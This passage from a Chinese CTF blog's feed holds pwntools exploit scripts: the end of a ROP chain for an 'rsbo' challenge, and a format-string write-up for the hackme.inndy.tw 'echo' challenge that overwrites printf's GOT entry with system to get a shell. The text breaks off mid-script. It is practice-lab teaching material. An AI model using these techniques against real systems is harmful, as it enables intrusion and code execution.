&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;main_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;start&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# gdb.attach(io, &amp;quot;b main&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;open_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sym&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;read_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sym&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sym&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;send&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;108&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;open_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;main_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;80487d0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;send&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;108&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;read_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;main_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;bss&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;send&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;108&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;main_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;bss&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;rsbo
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;rsbo&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>printf</title>
    <published>2018-12-02T22:02:04+08:00</published>
    <updated>2018-12-02T22:02:04+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/printf/" type="text/html" />
    <id>https://emptystack.top/printf/</id>
    <content type="html">
      &lt;h2 id=&quot;echo&quot;&gt;echo&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;FLAG{printf vulnerability is fun, right? %16c%7$hhn%99c%7$hhn}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;是根据&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;paper.seebug.org&#x2F;246&#x2F;&quot;&gt;这个网站&lt;&#x2F;a&gt;写的。首先判断&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;printf&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的那个栈和之前输入的字符串间隔几个参数：输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;ABCD%n$x&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;n=&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;多少时能输出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;ABCD44434241&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;44434241&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ABCD16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;进制&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ASCII&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;码的反序&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;然后利用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pwntools&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自带的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fmtstr_payload，将&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;n、printf&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地址和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;system&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地址放进去，利用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;printf&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;漏洞把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;printf&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地址改成
system&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地址。再输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&quot;&#x2F;bin&#x2F;sh&quot;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字符串让&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;system&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;执行就好了。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# -*- coding: utf-8 -*-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;terminal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;deepin-terminal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;debug&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; remote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;hackme.inndy.tw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 7711&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# io = process(&amp;#39;.&#x2F;echo&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# gdb.attach(io, &amp;quot;b *main&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;ABCD%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;ABCD44434241&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;keepends&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;------------------------------&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Found format string offset: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;------------------------------&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# libc = ELF(&amp;quot;&#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc.so.6&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;fmtstr_payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;, {&lt;&#x2F;span&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]:&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sym&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;system&lt;&#x2F;span&gt;&lt;span 